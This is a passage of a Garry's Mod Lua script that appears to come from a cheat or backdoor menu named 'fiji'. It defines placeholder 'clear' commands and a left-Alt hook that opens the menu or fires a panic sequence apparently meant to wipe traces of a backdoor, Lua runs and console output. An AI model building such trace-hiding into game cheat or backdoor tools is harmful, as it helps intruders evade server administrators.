12160size = 15,
12161} )
12162--
12163end
12164Initialize(); // Initializes basic shit for when menu is loaded.
12165
12166
12167
12168----------------------
12169concommand.Add( "fiji_clearbd", function() -- fiji_sv_existmen
12170print("\n")
12171end)
12172
12173concommand.Add( "fiji_clearluarun", function() -- fiji_sv_existmen
12174print("\n")
12175end)
12176
12177concommand.Add( "fiji_clearconsole", function() -- fiji_sv_existmen
12178print("\n")
12179end)
12180
12181hook.Add("Think", "catBOT", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
12182if !btnCooldown || CurTime() > btnCooldown then
12183if fiji_sv_existmen:GetInt() == 0 then
12184if(input.IsKeyDown(KEY_LALT))then
12185LocalPlayer():ConCommand("pity")
12186else end
12187elseif(input.IsKeyDown(KEY_LALT))then
12188LocalPlayer():ConCommand("clear_pity")
12189LocalPlayer():ConCommand("fiji_clearbd")
12190LocalPlayer():ConCommand("fiji_clearluarun")
12191LocalPlayer():ConCommand("fiji_clearespent")
12192LocalPlayer():ConCommand("fiji_clearconsole")
12193LocalPlayer():ConCommand("fiji_sv_existmen 0")
12194end
12195btnCooldown = CurTime() + 0.5
12196end
12197end)
12198
12199